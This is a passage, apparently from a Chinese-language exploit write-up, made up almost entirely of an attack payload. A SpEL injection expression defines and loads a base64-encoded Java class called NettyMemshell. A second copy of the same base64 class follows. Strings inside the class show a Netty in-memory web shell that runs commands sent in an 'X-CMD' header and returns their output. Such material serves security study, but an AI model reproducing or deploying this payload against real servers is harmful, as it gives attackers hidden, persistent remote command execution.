ZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFZlcnNpb24BAAhIVFRQXzFfMQEAKUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFZlcnNpb247AQAZaW8vbmV0dHkvdXRpbC9DaGFyc2V0VXRpbAEABVVURl84AQAaTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDsBABhpby9uZXR0eS9idWZmZXIvVW5wb29sZWQBAAxjb3BpZWRCdWZmZXIBAE0oTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspTGlvL25ldHR5L2J1ZmZlci9CeXRlQnVmOwEAdShMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uO0xpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlc3BvbnNlU3RhdHVzO0xpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjspVgEALGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9GdWxsSHR0cFJlc3BvbnNlAQAraW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBIZWFkZXJOYW1lcwEADENPTlRFTlRfVFlQRQEAG0xpby9uZXR0eS91dGlsL0FzY2lpU3RyaW5nOwEAVShMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyczsBAA13cml0ZUFuZEZsdXNoAQA0KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyAQAFQ0xPU0UBAChMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlTGlzdGVuZXI7AQAeaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlAQALYWRkTGlzdGVuZXIBAFIoTGlvL25ldHR5L3V0aWwvY29uY3VycmVudC9HZW5lcmljRnV0dXJlTGlzdGVuZXI7KUxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmU7ACEAFwA+AAEAPwAAAAUAAQBAAEEAAQBCAAAALwABAAEAAAAFKrcAAbEAAAACAEMAAAAGAAEAAAAQAEQAAAAMAAEAAAAFAEUARgAAAAkARwBIAAEAQgAAAcMABAAKAAAAtRICSxIDEgQDvQAFtgAGTCsEtgAHKwEDvQAItgAJTQM+HSy4AAqiAIcsHbgACzoEGQTGAHUZBLYADLYADRIOtgAPmQBlGQS2AAwSELYAEToFGQUEtgASGQUZBLYAEzoGGQa2AAy2ABQSFbYAEToHGQcEtgASGQcZBrYAEzoIGQi2AAy2ABS2ABQSFrYAEToJGQkEtgASGQkZCLsAF1m3ABi2ABkSGkuEAwGn/3enAAdMEhxLKrAAAQADAKwArwAbAAMAQwAAAFoAFgAAABIAAwAUAA8AFQAUABYAHgAYACgAGQAvABoARAAbAFAAHABWAB0AXwAeAG4AHwB0ACAAfQAhAI8AIgCVACMAowAkAKYAGACsACkArwAnALAAKACzACoARAAAAHAACwBQAFYASQBKAAUAXwBHAEsATAAGAG4AOABNAEoABwB9ACkATgBMAAgAjwAXAE8ASgAJAC8AdwBQAEwABAAgAIwAUQBSAAMADwCdAFMAVAABAB4AjgBVAEwAAgCwAAMAVgBXAAEAAwCyAFgAWQAAAFoAAAAeAAX/ACAABAcAWwcAXAcACAEAAPsAhfgABUIHABsDAAEAXQBeAAIAQgAAAHYABQAFAAAAHCy5AB0BADoEGQQSHhIfuwAXWbcAGLkAIAQAV7EAAAACAEMAAAAOAAMAAAAwAAgAMgAbADMARAAAADQABQAAABwARQBGAAAAAAAcAF8AYAABAAAAHABhAGIAAgAAABwAYwBkAAMACAAUAGUAZgAEAGcAAAANAwBfAAAAYQAAAGMAAAABAGgAaQADAEIAAAEQAAQABgAAAGEswQAhmQBULMAAIU4tuQAiAQASI7YAJJkANy25ACIBABIjtgAlOgS7ACZZuAAnGQS2ACi2ACm3ACoSK7YALLYALToFKisZBbIALrcAL7GnAAo6BBkEtgAwKyy5ADECAFexAAEADABNAFEAGwADAEMAAAAyAAwAAAA5AAcAOgAMADwAGgA9ACcAPgBDAEAATQBBAE4ARQBRAEMAUwBEAFgARwBgAEgARAAAAEgABwAnACcAagBZAAQAQwALAGsAWQAFAFMABQBWAFcABAAMAEwAbABtAAMAAABhAEUARgAAAAAAYQBuAG8AAQAAAGEAWABMAAIAWgAAAA8AA/wATgcAIUIHABv6AAYAcAAAAAQAAQAbAGcAAAAJAgBuAAAAWAAAAAIAcQByAAIAQgAAAJQABgAFAAAANrsAMlmyADMtLLIANLgANbcANjoEGQS5ADcBALIAOBI5tgA6VysZBLkAOwIAsgA8uQA9AgBXsQAAAAIAQwAAABIABAAAAEwAFABNACQATgA1AE8ARAAAADQABQAAADYARQBGAAAAAAA2AG4AbwABAAAANgBzAFkAAgAAADYAdAB1AAMAFAAiAHYAdwAEAGcAAAANAwBuAAAAcwAAAHQAAAABAHgAAAACAHk='),
     new javax.management.loading.MLet(new java.net.URL[0],
         T(java.lang.Thread).currentThread().getContextClassLoader())
 ).doInject()}
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBDwoAPgB6CAB7BwB8CABTBwB9CgAFAH4KAFwAfwcAgAoAXACBCgCCAIMKAIIAhAoACACFCgAFAIYIAIcKAFsAiAgASwoABQCJCgCKAH8KAIoAiwoABQCMCABOCACNBwCOCgAXAHoKAIoAjwgAkAcAkQgAkgsAkwCUCACVCACWCwCXAJgHAJkLACEAmggAmwoAnACdCgCcAJ4HAJ8KAKAAoQoAoACiCgCjAKQKACYApQgApgoAJgCnCgAmAKgJAKkAqgoAFwCrCgAbAKwLAK0ArgcArwkAsACxCQCyALMKALQAtQoAMgC2CwC3AJoJALgAuQgAugoAnAC7CwCtALwJAL0AvgsAvwDABwDBBwDCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAwwcAxAEADW9uQ2hhbm5lbEluaXQBAFcoTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7TGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KVYBABJjb25uZWN0aW9uT2JzZXJ2ZXIBACJMcmVhY3Rvci9uZXR0eS9Db25uZWN0aW9uT2JzZXJ2ZXI7AQAHY2hhbm5lbAEAGkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7AQANc29ja2V0QWRkcmVzcwEAGExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEACHBpcGVsaW5lAQAiTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAEE1ldGhvZFBhcmFtZXRlcnMBAAtjaGFubmVsUmVhZAEAPShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9PYmplY3Q7KVYBAANjbWQBAApleGVjUmVzdWx0AQALaHR0cFJlcXVlc3QBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXF1ZXN0OwEAA2N0eAEAKExpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsBAApFeGNlcHRpb25zAQAEc2VuZAEAbShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9TdHJpbmc7TGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7KVYBAAdjb250ZXh0AQAGc3RhdHVzAQAwTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7AQAIcmVzcG9uc2UBAC5MaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0Z1bGxIdHRwUmVzcG9uc2U7AQAKU291cmNlRmlsZQEAEk5ldHR5TWVtc2hlbGwuamF2YQwAQABBAQAMaW5qZWN0LXN0YXJ0AQAQamF2YS9sYW5nL1RocmVhZAEAD2phdmEvbGFuZy9DbGFzcwwAxQDGDADHAMgBABBqYXZhL2xhbmcvT2JqZWN0DADJAMoHAMsMAMwAzQwAzgDPDADQANEMANIASAEADk5ldHR5V2ViU2VydmVyDADTANQMANUA1gcA1wwAzgDYDADZANEBAA9kb09uQ2hhbm5lbEluaXQBAA1OZXR0eU1lbXNoZWxsDADaANsBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IHANwMAGUA3QEAH3JlYWN0b3IubGVmdC5odHRwVHJhZmZpY0hhbmRsZXIBABBtZW1zaGVsbF9oYW5kbGVyBwDeDADfAOABACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlcXVlc3QMAOEA4gEABVgtQ01EBwDjDADTAOQMAM4A5QEAEWphdmEvdXRpbC9TY2FubmVyBwDmDADnAOgMAOkA6gcA6wwA7ADtDABAAO4BAAJcQQwA7wDwDADxAEgHAPIMAPMAdQwAcQByDAD0AEEHAPUMAPYA9wEAM2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9EZWZhdWx0RnVsbEh0dHBSZXNwb25zZQcA+AwA+QD6BwD7DAD8AP0HAP4MAP8BAAwAQAEBBwECBwEDDAEEAQUBABl0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04DADaAQYMAQcBCAcBCQwBCgELBwEMDAENAQ4BACVpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxEdXBsZXhIYW5kbGVyAQAncmVhY3Rvci9uZXR0eS9DaGFubmVsUGlwZWxpbmVDb25maWd1cmVyAQAQamF2YS9sYW5nL1N0cmluZwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAXamF2YS9sYW5nL3JlZmxlY3QvQXJyYXkBAAlnZXRMZW5ndGgBABUoTGphdmEvbGFuZy9PYmplY3Q7KUkBAANnZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7SSlMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADWdldFN1cGVyY2xhc3MBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABhpby9uZXR0eS9jaGFubmVsL0NoYW5uZWwBACQoKUxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZTsBACBpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZQEACWFkZEJlZm9yZQEAaShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlcjspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAB2hlYWRlcnMBACsoKUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBIZWFkZXJzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEALmlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXMBAAJPSwEAD3ByaW50U3RhY2tUcmFjZQEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0AQAPZmlyZUNoYW5uZWxSZWFkAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uAQAISFRUUF8xXzEBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uOwEAGWlvL25ldHR5L3V0aWwvQ2hhcnNldFV0aWwBAAVVVEZfOAEAGkxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAYaW8vbmV0dHkvYnVmZmVyL1VucG9vbGVkAQAMY29waWVkQnVmZmVyAQBNKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7KUxpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjsBAHUoTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwVmVyc2lvbjtMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cztMaW8vbmV0dHkvYnVmZmVyL0J5dGVCdWY7KVYBACxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvRnVsbEh0dHBSZXNwb25zZQEAK2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyTmFtZXMBAAxDT05URU5UX1RZUEUBABtMaW8vbmV0dHkvdXRpbC9Bc2NpaVN0cmluZzsBAFUoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9PYmplY3Q7KUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQANd3JpdGVBbmRGbHVzaAEANChMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZTsBACZpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmVMaXN0ZW5lcgEABUNMT1NFAQAoTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyOwEAHmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZQEAC2FkZExpc3RlbmVyAQBSKExpby9uZXR0eS91dGlsL2NvbmN1cnJlbnQvR2VuZXJpY0Z1dHVyZUxpc3RlbmVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwAhABcAPgABAD8AAAAFAAEAQABBAAEAQgAAAC8AAQABAAAABSq3AAGxAAAAAgBDAAAABgABAAAADgBEAAAADAABAAAABQBFAEYAAAAJAEcASAABAEIAAAHDAAQACgAAALUSAksSAxIEA70ABbYABkwrBLYABysBA70ACLYACU0DPh0suAAKogCHLB24AAs6BBkExgB1GQS2AAy2AA0SDrYAD5kAZRkEtgAMEhC2ABE6BRkFBLYAEhkFGQS2ABM6BhkGtgAMtgAUEhW2ABE6BxkHBLYAEhkHGQa2ABM6CBkItgAMtgAUtgAUEha2ABE6CRkJBLYAEhkJGQi7ABdZtwAYtgAZEhpLhAMBp/93pwAHTBIcSyqwAAEAAwCsAK8AGwADAEMAAABaABYAAAAQAAMAEgAPABMAFAAUAB4AFgAoABcALwAYAEQAGQBQABoAVgAbAF8AHABuAB0AdAAeAH0AHwCPACAAlQAhAKMAIgCmABYArAAnAK8AJQCwACYAswAoAEQAAABwAAsAUABWAEkASgAFAF8ARwBLAEwABgBuADgATQBKAAcAfQApAE4ATAAIAI8AFwBPAEoACQAvAHcAUABMAAQAIACMAFEAUgADAA8AnQBTAFQAAQAeAI4AVQBMAAIAsAADAFYAVwABAAMAsgBYAFkAAABaAAAAHgAF/wAgAAQHAFsHAFwHAAgBAAD7AIX4AAVCBwAbAwABAF0AXgACAEIAAAB2AAUABQAAABwsuQAdAQA6BBkEEh4SH7sAF1m3ABi5ACAEAFexAAAAAgBDAAAADgADAAAALgAIADAAGwAxAEQAAAA0AAUAAAAcAEUARgAAAAAAHABfAGAAAQAAABwAYQBiAAIAAAAcAGMAZAADAAgAFABlAGYABABnAAAADQMAXwAAAGEAAABjAAAAAQBoAGkAAwBCAAABEAAEAAYAAABhLMEAIZkAVCzAACFOLbkAIgEAEiO2ACSZADctuQAiAQASI7YAJToEuwAmWbgAJxkEtgAotgAptwAqEiu2ACy2AC06BSorGQWyAC63AC+xpwAKOgQZBLYAMCssuQAxAgBXsQABAAwATQBRABsAAwBDAAAAMgAMAAAANwAHADgADAA6ABoAOwAnADwAQwA+AE0APwBOAEMAUQBBAFMAQgBYAEUAYABGAEQAAABIAAcAJwAnAGoAWQAEAEMACwBrAFkABQBTAAUAVgBXAAQADABMAGwAbQADAAAAYQBFAEYAAAAAAGEAbgBvAAEAAABhAFgATAACAFoAAAAPAAP8AE4HACFCBwAb+gAGAHAAAAAEAAEAGwBnAAAACQIAbgAAAFgAAAACAHEAcgACAEIAAACUAAYABQAAADa7ADJZsgAzLSyyADS4ADW3ADY6BBkEuQA3AQCyADgSObYAOlcrGQS5ADsCALIAPLkAPQIAV7EAAAACAEMAAAASAAQAAABKABQASwAkAEwANQBNAEQAAAA0AAUAAAA2AEUARgAAAAAANgBuAG8AAQAAADYAcwBZAAIAAAA2AHQAdQADABQAIgB2AHcABABnAAAADQMAbgAAAHMAAAB0AAAAAQB4AAAAAgB5'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

NettyMemshell.class -> Base64 编码:

img

plain
1
yv66vgAAADQBDwoAPgB6CAB7BwB8CABTBwB9CgAFAH4KAFwAfwcAgAoAXACBCgCCAIMKAIIAhAoACACFCgAFAIYIAIcKAFsAiAgASwoABQCJCgCKAH8KAIoAiwoABQCMCABOCACNBwCOCgAXAHoKAIoAjwgAkAcAkQgAkgsAkwCUCACVCACWCwCXAJgHAJkLACEAmggAmwoAnACdCgCcAJ4HAJ8KAKAAoQoAoACiCgCjAKQKACYApQgApgoAJgCnCgAmAKgJAKkAqgoAFwCrCgAbAKwLAK0ArgcArwkAsACxCQCyALMKALQAtQoAMgC2CwC3AJoJALgAuQgAugoAnAC7CwCtALwJAL0AvgsAvwDABwDBBwDCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAwwcAxAEADW9uQ2hhbm5lbEluaXQBAFcoTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7TGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KVYBABJjb25uZWN0aW9uT2JzZXJ2ZXIBACJMcmVhY3Rvci9uZXR0eS9Db25uZWN0aW9uT2JzZXJ2ZXI7AQAHY2hhbm5lbAEAGkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7AQANc29ja2V0QWRkcmVzcwEAGExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEACHBpcGVsaW5lAQAiTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAEE1ldGhvZFBhcmFtZXRlcnMBAAtjaGFubmVsUmVhZAEAPShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9PYmplY3Q7KVYBAANjbWQBAApleGVjUmVzdWx0AQALaHR0cFJlcXVlc3QBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXF1ZXN0OwEAA2N0eAEAKExpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsBAApFeGNlcHRpb25zAQAEc2VuZAEAbShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9TdHJpbmc7TGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7KVYBAAdjb250ZXh0AQAGc3RhdHVzAQAwTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7AQAIcmVzcG9uc2UBAC5MaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0Z1bGxIdHRwUmVzcG9uc2U7AQAKU291cmNlRmlsZQEAEk5ldHR5TWVtc2hlbGwuamF2YQwAQABBAQAMaW5qZWN0LXN0YXJ0AQAQamF2YS9sYW5nL1RocmVhZAEAD2phdmEvbGFuZy9DbGFzcwwAxQDGDADHAMgBABBqYXZhL2xhbmcvT2JqZWN0DADJAMoHAMsMAMwAzQwAzgDPDADQANEMANIASAEADk5ldHR5V2ViU2VydmVyDADTANQMANUA1gcA1wwAzgDYDADZANEBAA9kb09uQ2hhbm5lbEluaXQBAA1OZXR0eU1lbXNoZWxsDADaANsBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IHANwMAGUA3QEAH3JlYWN0b3IubGVmdC5odHRwVHJhZmZpY0hhbmRsZXIBABBtZW1zaGVsbF9oYW5kbGVyBwDeDADfAOABACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlcXVlc3QMAOEA4gEABVgtQ01EBwDjDADTAOQMAM4A5QEAEWphdmEvdXRpbC9TY2FubmVyBwDmDADnAOgMAOkA6gcA6wwA7ADtDABAAO4BAAJcQQwA7wDwDADxAEgHAPIMAPMAdQwAcQByDAD0AEEHAPUMAPYA9wEAM2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9EZWZhdWx0RnVsbEh0dHBSZXNwb25zZQcA+AwA+QD6BwD7DAD8AP0HAP4MAP8BAAwAQAEBBwECBwEDDAEEAQUBABl0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04DADaAQYMAQcBCAcBCQwBCgELBwEMDAENAQ4BACVpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxEdXBsZXhIYW5kbGVyAQAncmVhY3Rvci9uZXR0eS9DaGFubmVsUGlwZWxpbmVDb25maWd1cmVyAQAQamF2YS9sYW5nL1N0cmluZwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAXamF2YS9sYW5nL3JlZmxlY3QvQXJyYXkBAAlnZXRMZW5ndGgBABUoTGphdmEvbGFuZy9PYmplY3Q7KUkBAANnZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7SSlMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADWdldFN1cGVyY2xhc3MBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABhpby9uZXR0eS9jaGFubmVsL0NoYW5uZWwBACQoKUxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZTsBACBpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZQEACWFkZEJlZm9yZQEAaShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlcjspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAB2hlYWRlcnMBACsoKUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBIZWFkZXJzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEALmlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXMBAAJPSwEAD3ByaW50U3RhY2tUcmFjZQEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0AQAPZmlyZUNoYW5uZWxSZWFkAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uAQAISFRUUF8xXzEBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uOwEAGWlvL25ldHR5L3V0aWwvQ2hhcnNldFV0aWwBAAVVVEZfOAEAGkxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAYaW8vbmV0dHkvYnVmZmVyL1VucG9vbGV